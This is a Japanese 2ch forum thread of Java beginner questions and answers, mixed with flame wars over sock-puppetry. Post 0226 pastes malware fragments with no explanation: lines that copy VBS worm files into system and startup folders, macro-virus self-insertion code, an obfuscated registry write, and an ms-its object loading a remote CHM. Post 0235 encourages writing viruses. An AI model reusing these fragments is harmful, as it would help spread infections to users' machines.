2006/10/04(水) 20:01:47自己解決しました。
以下のとおりでうまくいきました。
public PackageBBB.InterfaceB loadExtension(){
URL[] jarFiles = new URL[]{"PackageCCC.jar", "PackageDDD.jar"};
URLClassLoader loader = new URLClassLoader(jarFiles, PackageBBB.InterfaceB.class.getClassLoader()); //ここのクラスローダーを変更
Object instance = loader.loadClass("PackageCCC.ClassC").newInstance(); //※2
PackageBBB.InterfaceB ibImpl = (PackageBBB.InterfaceB) instance;
return ibImpl;
}
お騒がせしました。
0129デフォルトの名無しさん
2006/10/04(水) 20:07:210130デフォルトの名無しさん
2006/10/04(水) 20:13:580131デフォルトの名無しさん
2006/10/04(水) 20:14:10多分だけど、
new URLClassLoader(jarFiles, ClassLoader.getSystemClassLoader());
↓
new URLClassLoader(jarFiles, PackageBBB.InterfaceB.class.getClassLoader());
で、どうかな?
0132デフォルトの名無しさん
2006/10/04(水) 20:14:55自己解決してるじゃねぇかwwww
テラハズカシスwwwwww
0133デフォルトの名無しさん
2006/10/04(水) 20:21:53ありがとうございます。
気持ちはいただいておきますw
0134デフォルトの名無しさん
2006/10/04(水) 20:27:310135デフォルトの名無しさん
2006/10/04(水) 21:07:06"PackageCCC.ClassC" の書き方をしているのはC++
からの移植かね?
>>121
演技下手だなお前
0136デフォルトの名無しさん
2006/10/04(水) 21:08:42PHPは名前空間が無いから糞
以上
0137デフォルトの名無しさん
2006/10/04(水) 21:21:03このアホなレスは>>103にまちがいない!
0138デフォルトの名無しさん
2006/10/04(水) 21:44:57namespace CCC{
class XxxC
って書く規則があると思ってたのか?アホの>>103は
0139デフォルトの名無しさん
2006/10/04(水) 21:55:26"a/b/c.dat"というような文字列を渡したらカレントディレクトリ下に
aやbというディレクトリが存在しなくてもディレクトリを生成して
c.datを書き込んでくれる機能を標準的なライブラリはありますでしょうか。
自前で作成する事はできるですが、
なるべくならテスト済みのライブラリを利用したいです。
Commons IOあたりにあればよいのですがないみたいなので。
0140デフォルトの名無しさん
2006/10/04(水) 21:55:570141デフォルトの名無しさん
2006/10/04(水) 22:03:47Runtimeクラスでmkdir -p
0142デフォルトの名無しさん
2006/10/04(水) 22:11:29彡彡゙゙゙゙゙"゙゙""""""ヾ彡彡)
ミ彡゙ .._ _ ミミミ彡
((ミ彡 '´ ̄ヽ '´/ ̄ ` ,|ミミ))
ミ彡 ' ̄ ̄' 〈 ̄ ̄ .|ミミ彡
ミ彡| ) ) | | `( ( |ミ彡
((ミ彡| ( ( -し`) ) )|ミミミ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
ゞ| ) ) 、,! 」( ( |ソ < アホジャヴァー専用スレにふさわしい低レベル質問&低レベル解答。ほほえましい!感動した!
ヽ( ( ̄ ̄ ̄' ) )/ \_______________
,.|\、) ' ( /|、
 ̄ ̄| `\.`──'´/ | ̄ ̄`
0143デフォルトの名無しさん
2006/10/04(水) 22:16:30よっぽど現実社会で孤立してるんだな
可哀想に・・・
0144139
2006/10/04(水) 22:18:36それは反則ということで(w
0145デフォルトの名無しさん
2006/10/04(水) 22:31:46「まだ」と言うことは君も延々馬鹿解答繰り返してるって事か。
粘着馬鹿解答者が消えたらオレも消えてあげよう。
0146デフォルトの名無しさん
2006/10/04(水) 22:34:45意味不明な論理だな
構って欲しいからずっといるんだろお前は
0147デフォルトの名無しさん
2006/10/04(水) 22:52:350148デフォルトの名無しさん
2006/10/04(水) 22:58:370149デフォルトの名無しさん
2006/10/04(水) 23:08:24だろうな。
あそこまで必死になる理由がわからない。
0150デフォルトの名無しさん
2006/10/04(水) 23:08:43粘着はお前だよ
0151デフォルトの名無しさん
2006/10/04(水) 23:08:56まさにそのとおりだな。
0152デフォルトの名無しさん
2006/10/04(水) 23:11:47mkdirs()
0153デフォルトの名無しさん
2006/10/04(水) 23:13:35File dir = new File("a/b/c");
if(dir.mkdirs()){
}
File file = new File(dir, ".dat");
0154デフォルトの名無しさん
2006/10/04(水) 23:27:480155デフォルトの名無しさん
2006/10/04(水) 23:30:290156デフォルトの名無しさん
2006/10/04(水) 23:44:53「JAVAがプラットフォームに依存しない理由」ってゆーのを、猿にでも分かるように説明してください。
お願いします。
0157デフォルトの名無しさん
2006/10/04(水) 23:53:310158デフォルトの名無しさん
2006/10/05(木) 00:10:42そんな自演してもお前が誰だかなんてすぐにわかるぞ
0159デフォルトの名無しさん
2006/10/05(木) 00:11:07猿は人間じゃないから無理
0160デフォルトの名無しさん
2006/10/05(木) 00:12:51「JAVAがプラットフォームに依存しない理由」ってゆーのを、誰にでも分かるように説明してください。
お願いします。
0161デフォルトの名無しさん
2006/10/05(木) 00:28:03println()の仕様みればわかる。
0162デフォルトの名無しさん
2006/10/05(木) 00:43:53俺は日本語しか出来ないから無理だな
0163デフォルトの名無しさん
2006/10/05(木) 00:49:320164デフォルトの名無しさん
2006/10/05(木) 00:59:39依存しない? 全く依存しないわけではないぞ。
まずはそれを理解してからだな。
そしたら説明してやる。説明してやると行っても紙面の都合上、ここで全部は
説明してやらないがな。
0165デフォルトの名無しさん
2006/10/05(木) 00:59:49こら嘘つくな
0166デフォルトの名無しさん
2006/10/05(木) 01:03:19自演かそうでないか議論したところで、答えはでないし、
わかったところで、たいして得られるものがない。
0167デフォルトの名無しさん
2006/10/05(木) 01:04:440168デフォルトの名無しさん
2006/10/05(木) 01:30:38いいこと言った!
>>167
間違い指摘されたからってネチネチうるさいぞ!
0169デフォルトの名無しさん
2006/10/05(木) 01:32:26ハイハイ認定厨乙
構ってもらえて嬉しいんだよね
0170デフォルトの名無しさん
2006/10/05(木) 01:44:010171デフォルトの名無しさん
2006/10/05(木) 01:56:14102 名前: デフォルトの名無しさん 投稿日: 2006/10/04(水) 17:48:46
String st="かきくけこ";
byte[] byt=st.getBytes();
System.out.println(byt);
System.out.println(st.getBytes());
出力結果
[B@145d068
[B@758fc9
このコードではなぜか異なる結果が出てしまいます。
Stringの方の出力結果が、bytの出力と同じ結果を返すようにするにはどうすればよいでしょうか?
どうかよろしくお願いします。
103 名前: デフォルトの名無しさん [sage] 投稿日: 2006/10/04(水) 18:01:10
そりゃそうだ。println()の仕様みればわかる。
こいつでしょwww
0172デフォルトの名無しさん
2006/10/05(木) 01:57:44115 名前: デフォルトの名無しさん [sage] 投稿日: 2006/10/04(水) 19:23:17
>>112
必死になってるのは別人。
恐らく例の"彼"でしょうw
0173デフォルトの名無しさん
2006/10/05(木) 01:58:47135 名前: デフォルトの名無しさん [sage] 投稿日: 2006/10/04(水) 21:07:06
>>120
"PackageCCC.ClassC" の書き方をしているのはC++
からの移植かね?
>>121
演技下手だなお前
0174デフォルトの名無しさん
2006/10/05(木) 01:59:38141 名前: デフォルトの名無しさん [sage] 投稿日: 2006/10/04(水) 22:03:47
>>139
Runtimeクラスでmkdir -p
0175デフォルトの名無しさん
2006/10/05(木) 02:00:43149 名前: デフォルトの名無しさん [sage] 投稿日: 2006/10/04(水) 23:08:24
>>143
だろうな。
あそこまで必死になる理由がわからない。
150 名前: デフォルトの名無しさん [sage] 投稿日: 2006/10/04(水) 23:08:43
>>145
粘着はお前だよ
151 名前: デフォルトの名無しさん [sage] 投稿日: 2006/10/04(水) 23:08:56
>>146
まさにそのとおりだな。
0176デフォルトの名無しさん
2006/10/05(木) 02:03:04154 名前: デフォルトの名無しさん [sage] 投稿日: 2006/10/04(水) 23:27:48
わかりやすい自演だな>>146
155 名前: デフォルトの名無しさん 投稿日: 2006/10/04(水) 23:30:29
やっとまともな回答者がでてきたぞ!
>>154-155
そんな自演してもお前が誰だかなんてすぐにわかるぞ
0177デフォルトの名無しさん
2006/10/05(木) 02:04:400178デフォルトの名無しさん
2006/10/05(木) 02:10:390179デフォルトの名無しさん
2006/10/05(木) 02:12:43誰だかわかったところで…。
0180デフォルトの名無しさん
2006/10/05(木) 02:18:130181デフォルトの名無しさん
2006/10/05(木) 02:45:250182デフォルトの名無しさん
2006/10/05(木) 02:47:390183デフォルトの名無しさん
2006/10/05(木) 02:49:54ものすごい粘着だな。
鬼のクビを撮ったように喜びながら質問するフリをして釣りか。
そいつは暗黙のtoString()のことをさしているだけだろう
0184デフォルトの名無しさん
2006/10/05(木) 02:50:460185デフォルトの名無しさん
2006/10/05(木) 02:50:590186デフォルトの名無しさん
2006/10/05(木) 04:01:060187デフォルトの名無しさん
2006/10/05(木) 04:08:440188デフォルトの名無しさん
2006/10/05(木) 04:56:43あれから勉強してごまかそうとしたけどまだまだ勉強が足りないみたいだな。
そんなに粘着してごまかそうとしなくていいぞ。
馬鹿は十分承知してるからwww。
0189139
2006/10/05(木) 05:40:19まさかFileクラスそのものにあるとは盲点でした。
ありがとうございます。
0190デフォルトの名無しさん
2006/10/05(木) 05:50:520191デフォルトの名無しさん
2006/10/05(木) 06:29:59正しく行われるので、エンコーディングの自動判別が効いているのだと思うんですけど、
処理が終わった後で実際に検出したエンコーディングを取得しようとしても
isCharsetDetected() が true とならずに取得できません。
Windows XP + java version "1.5.0_08" でテストしています。
CharsetDecoder decoder = Charset.forName("x-JISAutoDetect").newDecoder();
InputStreamReader reader = new InputStreamReader(new FileInputStream("euc-jp.txt"),decoder);
for(;;)
{
int c = reader.read();
if(c == -1) break;
System.out.print((char)c);
}
String encoding = "???";
if(decoder.isAutoDetecting() && decoder.isCharsetDetected())
{
encoding = decoder.detectedCharset().name();
}
System.out.println("----");
System.out.println("encoding: " + encoding);
コードに問題があるのでしょうか?
もしくは、自動判別された実際のエンコーディングを取得する方法が
他にあれば教えてください。
0192デフォルトの名無しさん
2006/10/05(木) 07:47:43メソッド等でExceptionをthrowするようなものはいいのですが、
例えば、nullpoやarrayIndexを超えてしまって例外をはいた場合、
それはテストで徹底的に潰すしかないんでしょうか?
そのログを取れるやり方があれば教えてください。
0193デフォルトの名無しさん
2006/10/05(木) 09:03:26彼の性格の歪みを垣間見ることができる。
0194デフォルトの名無しさん
2006/10/05(木) 09:04:410195デフォルトの名無しさん
2006/10/05(木) 09:06:25昔見たものと随分と異なる方法で自動判別しているのう
0196デフォルトの名無しさん
2006/10/05(木) 09:07:29彼も随分と人生を無駄に過ごしていますねえ
019786
2006/10/05(木) 09:45:10ソースとしては以下のような形です。
List list = new ArrayList();
list = getCellByNameList(workbook , strname , Rep);
tmpCell = null;// 初期化
tmpCell1 = null;// 初期化
tmpCell = (HSSFCell)list.get(0);
tmpCell1 = (HSSFCell)list.get(1);
celltype = 0;
cellformat = 0;
celltype = tmpCell1.getCellType();
cellformat = tmpCell.getCellStyle().getDataFormat();
cat.debug("cellformat : " + cellformat);
if(celltype == HSSFCell.CELL_TYPE_STRING){
//文字列なので、そのままセルへセット
cat.debug("type : 文字型");
}else if(celltype == HSSFCell.CELL_TYPE_NUMERIC){
//セルに入っている値が、数値型か、日付型
//HSSFCell.getCellStyle().getDataFormat() の値を渡して判別、この値が22または176の時は日付型
if (HSSFDateUtil.isInternalDateFormat(cellformat) || cellformat == 22 || cellformat == 176){
//セルに入っている値は日付型
cat.debug("type : 日付型");
}else{
//数値型
cat.debug("type : 数値");
}
}else{
//その他の型(BLANK,BOOLEAN,ERROR,FOMULA)については特別な処理を行わず、受け取った値をそのままセットすることとする。
cat.debug("type : その他の型");
}
0198デフォルトの名無しさん
2006/10/05(木) 10:25:01おまえ誰?
0200デフォルトの名無しさん
2006/10/05(木) 10:53:47深夜にこんな連投粘着とか
やっぱり秋の夜長が寂しくて構ってほしい
構ってチャンだったのか・・・
構ってもらえて嬉しいんだね
0201デフォルトの名無しさん
2006/10/05(木) 10:53:50POIのライブラリを見るからちょっと魔って。
井や半年魔って
0202デフォルトの名無しさん
2006/10/05(木) 11:33:37□と△には任意の数字をキーボードで打ち込んで
□+△=□+△の答え
が出るjavaスクリプトってどうやって組めばいいんでしょう?
5時間考えても出来ません・・・
0203デフォルトの名無しさん
2006/10/05(木) 11:34:57□と△はform(?)形式でです
0204デフォルトの名無しさん
2006/10/05(木) 11:39:04名前は似てても完全な別物です。 ECMA Scriptスレへ逝け。
0205デフォルトの名無しさん
2006/10/05(木) 11:41:240206デフォルトの名無しさん
2006/10/05(木) 11:58:49名前も、存在自体も
0207デフォルトの名無しさん
2006/10/05(木) 15:15:25ここ↓超初心者向けに良いと思う。
ttp://www.smg.co.jp/seminar/java/
0208デフォルトの名無しさん
2006/10/05(木) 15:31:40宣伝乙
0209デフォルトの名無しさん
2006/10/05(木) 15:37:52氏ね厨房。
0210デフォルトの名無しさん
2006/10/05(木) 19:07:49いったいどれをダウンロードすればいいのでしょうか?
やはり、初心者入門サイトに載ってるバーションの方が後のこと考えるといいのでしょうか?
J2SE5.0(Java 2 Platform Standard Edition 5.0)
Java Runtime Environment バージョン 5.0
J2SE v 1.4.2_12 SDK
0211デフォルトの名無しさん
2006/10/05(木) 19:08:48なぜ、1シリーズの次に、5が来てるのでしょうか?
環境開発とかみると、1と5を同時に使ってるサイトとかもありますし。
1と5は何が違うのでしょうか?
0212デフォルトの名無しさん
2006/10/05(木) 19:27:09> 初心者入門サイトに載ってるバーションの方が後のこと考えるといいのでしょうか?
初心者入門サイトを参考にステップアップするつもりなら、
その初心者入門サイトで落とせと言ってるバージョンを落とした方が良い。
そうでなければ最新の安定版って事で 5.0 で良いと思われ。
>>211
> なぜ、1シリーズの次に、5が来てるのでしょうか?
1.4.x までと、5.0 からではバージョンの付け方変えたというか
Windows2000 が ver 5.0 だったり WindowsXP が、ver 5.1 だったりするのと似てるというか
0213デフォルトの名無しさん
2006/10/05(木) 19:34:44レス大変感謝します。
やっぱり入門サイトのバージョンの方が無難ですね。
こんなことすら質問しなきゃ分らないんですから。
バージョンのことも理解できました。
丁寧なレス感謝します。ありがとうございました。
0214デフォルトの名無しさん
2006/10/05(木) 19:53:125.0を落として、下位互換のオプションを付けてコンパイルをするのが
最良ジャマイカ?
0215デフォルトの名無しさん
2006/10/05(木) 20:02:28> 下位互換のオプションを付けてコンパイル
入門用サイト見てるような人でも これが出来るなら、
それでも OK だと思うけどね。
0216デフォルトの名無しさん
2006/10/05(木) 20:15:10レス感謝します。
最新のEclipse3.2.1も、
動作環境がJRE 5.0 以上からとあります。
これは当然、SDKも5.0以上から対応ってことですよね。
Eclipse3.2.1とか、他のものとの連動を考えると、5.0がいいのですが、
ただ、「下位互換のオプション」とまでなると難しそうなのですが・・・
一応、ググって見ます。
初心者入門サイトもいっぱいありすぎて、どれがいいのかよく分りません・・・
お勧めとかありましたら、教えていただけると助かるのですが
0217デフォルトの名無しさん
2006/10/05(木) 20:19:09×最新のEclipse3.2.1も、動作環境がJRE 5.0 以上からとあります。
○日本語化プラグインがJRE5.0以上でした。
0218デフォルトの名無しさん
2006/10/05(木) 20:20:47HSSFDateUtil.isCellDateFormatted(cell))
0219デフォルトの名無しさん
2006/10/05(木) 20:39:56最近Ajaxが流行っているので決してウザイとはいいきれなくなった。
ブログを使いやすくするためにも必要だし、
ブックマークレットを作るためにも重宝する言語なんだよね。
Web2.0時代には
0220デフォルトの名無しさん
2006/10/05(木) 20:45:08もう必要ないからJavaが吸収するんだけど?
0221デフォルトの名無しさん
2006/10/05(木) 20:55:19Java SE 5を入れても J2SE1.4を入れても
両方入れても切り替えることができる。
とりあえずJava SE 5(J2SE5.0)は入れても問題ない。
J2SE1.4とは別にインストールできる。
Eclipse側でどのバージョンのJREを使うか、設定できるので。
それに、Java SE 5を使ったとしてもコンパイルオプションで
J2SE1.4互換モードに設定してコンパイルすることもできる。
バージョンを変えてコンパイルするとJarのファイルサイズが異なることに気づくが。
0222デフォルトの名無しさん
2006/10/05(木) 20:56:185.0の環境で、コンパイル時に
% javac -source 1.4 SomeClass.java
ってやるだけ。
詳細はここ嫁
http://java.sun.com/j2se/1.5.0/ja/docs/ja/tooldocs/windows/javac.html
良い入門関係は知らん。不遇にも最悪な入門書・サイトにしか
ぶち当たったことがないうえ、アマチュアの無精も手伝って、
オブジェクト指向を理解するのに3年かかった。
0223デフォルトの名無しさん
2006/10/05(木) 21:02:08だから尚更ウザイわけだが。
0224デフォルトの名無しさん
2006/10/05(木) 21:09:46たびたびド素人な質問に丁寧なレスで感謝いたします。
両方インストール可能、Eclipseとの連動もOKということは理解できました。
3年ですかorz
最初が肝心なようなので、初心者サイト選びは吟味します。
ありがとうございました。
0225デフォルトの名無しさん
2006/10/05(木) 21:22:11自分の知識では処理実行ボタン押したときに
テキスト取り出してString.matches()ぐらいしか思いつきません。
入力できるテキストを制限するとか
スマートな方法誰かおしえて
0226デフォルトの名無しさん
2006/10/05(木) 21:38:442 :吾輩は名無しである :2006/10/03(火) 17:38:07
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+
chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???
0227デフォルトの名無しさん
2006/10/05(木) 23:02:05言う事一緒だから自演ばればれだよ。
間違い指摘されて悔しいのはわかるけどね。まず礼をいうのがスジだぞ。
ネチネチうるさいと延々あの馬鹿レス貼るぞ。
0228デフォルトの名無しさん
2006/10/05(木) 23:22:09>>200は俺だけど何言ってるの?
荒らし宣言ですか結局構って欲しくてこのスレに来てるんだね
寂しいの図星だったんだねゴメンネw
0229デフォルトの名無しさん
2006/10/05(木) 23:34:36WebProg板やブログ板なんか見てみろよ。
度素人の巣窟だぞ。
バカばっかで素人の癖に解らないとぎゃーぎゃー喚くやつばかり
0230デフォルトの名無しさん
2006/10/05(木) 23:35:04Jakarta Commons Validator
0231デフォルトの名無しさん
2006/10/05(木) 23:35:41釣られんなよ。
おまえバカだなww
0232デフォルトの名無しさん
2006/10/05(木) 23:36:29いったいどんな病気を抱えているんだジャヴァ厨はw
0233デフォルトの名無しさん
2006/10/05(木) 23:37:02この展開と的はずれな>>227にバロスwwwwwwwwwwwwwwwwwwwwwwwww
>>227
ダサッ
プププッ
0234デフォルトの名無しさん
2006/10/05(木) 23:37:49AA荒らしはやっぱり負けず嫌いだったんだなw
オッサンはお前だろw
0235デフォルトの名無しさん
2006/10/05(木) 23:39:26ウイルスの作り方とか知ってると面白いよ。
かなりディープだし、普通だれも知らないからね。
それをどうするのかは、きみ次第だ。
0236デフォルトの名無しさん
2006/10/05(木) 23:48:230237デフォルトの名無しさん
2006/10/05(木) 23:49:460238デフォルトの名無しさん
2006/10/06(金) 00:11:050239デフォルトの名無しさん
2006/10/06(金) 00:37:190240デフォルトの名無しさん
2006/10/06(金) 00:47:080241テスツ
2006/10/06(金) 01:12:16>>235は俺だけど何言ってるの?
荒らし宣言ですか結局構って欲しくてこのスレに来てるんだね
寂しいの図星だったんだねゴメンネw
0242デフォルトの名無しさん
2006/10/06(金) 01:12:180243デフォルトの名無しさん
2006/10/06(金) 01:25:270244デフォルトの名無しさん
2006/10/06(金) 02:02:120245デフォルトの名無しさん
2006/10/06(金) 02:08:54黙れクソガキ
0246デフォルトの名無しさん
2006/10/06(金) 02:14:530247デフォルトの名無しさん
2006/10/06(金) 02:23:22そうそう。あの荒らし君は>>239のように自作自演
して持論が支持されているように見せかけるんだよねw
0248デフォルトの名無しさん
2006/10/06(金) 02:39:30>>241は俺だけど何言ってるの?
荒らし宣言ですか結局構って欲しくてこのスレに来てるんだね
寂しいの図星だったんだねゴメンネw
0249デフォルトの名無しさん
2006/10/06(金) 02:51:32http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20040722/147613/
お前らこれ以下ってことかwww
0250デフォルトの名無しさん
2006/10/06(金) 11:00:140251デフォルトの名無しさん
2006/10/06(金) 12:06:37スクリプトに関してなんですが
ttp://www.huddletogether.com/projects/lightbox2/
How to Use:というところは何を示しているのでしょうか?
この通りにすればそうなるということでしょうか?
2.それとこういうスクリプトというのは
他サーバーを介してこのように動くようになっているのでしょうか?
3.このようなスクリプト集など、本にして売ってたりするのでしょうか?
なんというカテゴリーで売られているのでしょうか?
自分でサーバーを持たずできるものの本などがありましたらご紹介
お願いします。よろしくお願い致します。
0252デフォルトの名無しさん
2006/10/06(金) 12:29:20もうずっとスレ違い杉
0254デフォルトの名無しさん
2006/10/06(金) 15:57:29とある画像を表示して、画像の一部分だけ明るくする方法ってありませんか?
画像でマスクビット処理などを施せばできるとは思うのですが
javaでマスクビットのやり方を調べても見つからなかったのでよろしくお願いします。
0256デフォルトの名無しさん
2006/10/06(金) 16:57:15commons-validatorって、もともとStrutsにあったvalidatorを切り離したらしく(?)
webのように「受け取った値の検査」にはいいけど、入力文字制限なんかには対応してない。
JTextFieldだったら、addKeyListenerで文字制限かける。
0257デフォルトの名無しさん
2006/10/06(金) 17:24:34あるいはそのJTextFieldのDocument(モデルクラス)を差し替えて、
insertStringでチェックする。
0258デフォルトの名無しさん
2006/10/06(金) 19:17:20ことはもう誰もがお見通しですよ
0259デフォルトの名無しさん
2006/10/06(金) 21:42:110260デフォルトの名無しさん
2006/10/06(金) 22:01:56して持論が支持されているように見せかけるんだよねw
0261デフォルトの名無しさん
2006/10/06(金) 22:28:380262デフォルトの名無しさん
2006/10/06(金) 22:43:120263デフォルトの名無しさん
2006/10/07(土) 00:07:45漏れにも詳しく。
今10chを開いたらTOKYO BEATで女が歌を歌ってる
0264デフォルトの名無しさん
2006/10/07(土) 00:08:060265デフォルトの名無しさん
2006/10/07(土) 00:30:290266デフォルトの名無しさん
2006/10/07(土) 02:10:47ニュースステーションなんて久米が引退してからはもう既に放送終了しているぞ。
0267デフォルトの名無しさん
2006/10/07(土) 02:26:49使用してるのはJTextFieldでしたので
addKeyListenerで数字以外の入力制限できました。m(__)m
KEY_LOCATION_NUMPADが使えるかと思ったけど何と一致するかわからんかった。
仕方がないからgetKeyChar()とVK_0〜9まで比較して
一致しなかったらconsumeする形になりました。
>>257
DocumentのinsertString使う方法も色々応用が利きそうですな。φ(.. )メモメモ
0269デフォルトの名無しさん
2006/10/07(土) 14:40:30class abc
{
static
{
処理
}
abc(){}
}
のようなstaticはどういう意味があるんでしょうか?
0270デフォルトの名無しさん
2006/10/07(土) 14:47:030271デフォルトの名無しさん
2006/10/07(土) 15:06:27レスthx
うちの教本には載ってないな;
0272デフォルトの名無しさん
2006/10/07(土) 17:54:300273デフォルトの名無しさん
2006/10/07(土) 18:52:33インスタンス初期化子は無くても構わないけど静的初期化子は無いと困ると思う
0274デフォルトの名無しさん
2006/10/07(土) 19:14:08HashMap#keySet()まではわかるのですが、Listじゃないのでjava.util.Collections.sort()がつかえず困ってます。
0275デフォルトの名無しさん
2006/10/07(土) 19:25:37P3の1Gでメモリは512Mですが。
win側で設定を変えれば治るらしいですが、どうすればよいのでしょうか?
0276デフォルトの名無しさん
2006/10/07(土) 19:37:43メモリをいくら積んでいても、JVMがどこまで使うかは起動オプションで決まる。
512MB積んでいようが1GB積んでいようが
Sun JDK のデフォルトならJVMは64MBまでしか使わない。
それ以上使おうとするとOutOfMemoryErrorてのが出ちゃう。
「VM ヒープサイズ」でぐぐれ。
※「win側で設定を変えれば治るらしい」ってのは本当なのか?
0277デフォルトの名無しさん
2006/10/07(土) 20:32:43インスタンス初期化子ってあるだろ…
0278デフォルトの名無しさん
2006/10/07(土) 20:38:05ttp://java.sun.com/j2se/1.5.0/ja/docs/ja/api/java/util/Set.html
の関連項目を全てチェックできるぐらいまで粘れ
0279デフォルトの名無しさん
2006/10/07(土) 22:26:07シングルクライアントなら問題ないのですが、クライアントとサーバそれぞれ
ポート指定してやってソケット作って、サーバプログラム動かしてクライアント
動かしてみると返事変えってこないどころか、かなりの確率で
java.net.BindException: Address already in use
とか怒られます。ポート指定はそれぞれでやってるのに何故でしょうか?
jdk1.5.08、eclipse3.2使用してます。よろしくお願いします。
0280デフォルトの名無しさん
2006/10/07(土) 22:31:05TreeMapかSortedMapを使えば挿入ソートが使えるぞ。
0281デフォルトの名無しさん
2006/10/07(土) 22:33:23それぞれのマシンのIPアドレスは固定?
同じネットワーク凪いで他の誰かがそれらのマシンのIPアドレスを
自分のマシンに設定しているってことはない?
どっかで何かをリセット、リフレッシュしないと逝けないと思う。
それはプログラム内部の問題なのか、外部の問題なのかはソースと
あなたのネットワーク環境を見ない限りわからないけれども。
0282デフォルトの名無しさん
2006/10/07(土) 22:50:23もしかしてポジティブ接続のソケットにポートを明示的に設定してる?
0283デフォルトの名無しさん
2006/10/07(土) 23:06:170284282
2006/10/07(土) 23:08:00コレだな(orz
> クライアントとサーバそれぞれ
> ポート指定してやってソケット作って
このままの仕様で行くなら、なんとかして既にバインドされているポートを外して選択するようにするしかない
0285ぴゅあ
2006/10/08(日) 00:34:42>返事変えってこない
はまた別そうでもあるけど
(書かれているところから状況が全然見えんので)
>java.net.BindException: Address already in use
サーバーとクライアントのどっちで出ているのか判らないけど
ポートをどう指定しているのか確認してみるのがいいのかも
サーバーは待つ(Listen)ポート
クライアントはサーバーが待っているポート
を指定しているなら、特に起こらなかったような(細かなところは覚えてないので…"ような")
逆方向のポートも固定で設定していたりすると起きていたかも?
(どういう仕様で作っているのかも判らんし。。。)
セキュリティ上、切断しても直ぐには同じポートを使えない仕様(Javaとかではなくネットワークの方の)になっているので
強制的に同じポートでrebindするというのがJavaのAPIにあるかどうかは知らん
java.net.BindException: Address already in useが出たときにnetstatで見てみれば?
>シングルクライアントなら問題ない
の「シングルクライアント」の指す意味もよく解らんし。。。
0286デフォルトの名無しさん
2006/10/08(日) 00:49:31テキストフィールドに"青"か"赤"と打ち込みボタンを押すと
画面のどこかに(どこでもいいです)対応した色の画像を表示しもう一回押すと最初の画面に戻る。
さらにその表示した画像の順番を記録するよるというプログラムをつくりたいのですが
どうもわかりません。
どなたかここのプログラムをご教授お願いできないでしょうか?
javaを勉強し始めて初めて簡単なゲームを作り始めているのですが
ここで詰まって進みません。画面の再描画がうまくいかなくて。
0287デフォルトの名無しさん
2006/10/08(日) 01:08:44privateint state = 0;
として
stateが0の時赤、1の時青、2の時緑、3の時白、4の時黄、5の時紫
みたいな
0288デフォルトの名無しさん
2006/10/08(日) 01:09:010289デフォルトの名無しさん
2006/10/08(日) 01:25:42パッケージごとにdaoやサーブレット、GUI画面を分けています。
それで、パッケージ内とそのサブパッケージからはアクセスできるが、
パッケージ外からはアクセスできないという風にアクセス制御したいのですが、
何か方法がありますでしょうか?
運用でカバーするしかないですか?
0290289
2006/10/08(日) 01:26:57サブパッケージからはアクセスできないので無理なんです・・。
0291デフォルトの名無しさん
2006/10/08(日) 01:36:050292デフォルトの名無しさん
2006/10/08(日) 01:39:53>>288
ご教授ありがとうございます。
できれば画面の再描画のところを詳しく教えていただけないでしょうか?
というか自分でもいまいちプログラムの全体像が見えないのですが
もしこのプログラムを皆さんが作るならどのような部品で構成されますか?
0293ぴゅあ
2006/10/08(日) 01:55:20この辺り詳しいところは判らないけど・・・
"公開する"ためのインターフェイスを用意するとか?
0294デフォルトの名無しさん
2006/10/08(日) 02:08:27『アジャイルソフトウェア開発の奥義』を読め
0295デフォルトの名無しさん
2006/10/08(日) 18:51:35画面に入力された値を使用したいのですが、
ボタンのActionListenerはswingのインナークラスにしないと無理でしょうか?
外部クラスにしたら呼び出し元のフィールドにアクセスはできない?
0296デフォルトの名無しさん
2006/10/08(日) 19:07:260297デフォルトの名無しさん
2006/10/08(日) 19:18:13インスタンス初期化子は別の方法で無くすこともできるけど
静的初期化子は代替記法が無いってことだよ。
インスタンス初期化子でないと書けないのは無名クラスのコンストラクタ代わりくらいだろうし
無名クラス自体は名前を面倒でも付ければ無くすことができるからね。
0298デフォルトの名無しさん
2006/10/08(日) 21:54:380299デフォルトの名無しさん
2006/10/08(日) 22:23:510300デフォルトの名無しさん
2006/10/08(日) 22:26:040301デフォルトの名無しさん
2006/10/08(日) 22:35:030302デフォルトの名無しさん
2006/10/08(日) 22:37:010303デフォルトの名無しさん
2006/10/08(日) 23:16:090304デフォルトの名無しさん
2006/10/08(日) 23:34:05環境変数CLASSPATHに、.(ピリオド)を追加すれば
"java -classpath . **** "と打たなくても実行できると書いてあったので、
CLASSPATHの値に 「.;(元々あったPATH)」というように
ピリオドを追加し、区切り文字のセミコロンを追加しましたが、上手く実行できません。
環境パスの設定方法が間違っているのでしょうか?
0305デフォルトの名無しさん
2006/10/08(日) 23:55:43プラットフォーム(OS)は何か、具体的にどういう設定方法をしたのか、を書いて
もらわないことには答えられないですー。
たとえば:
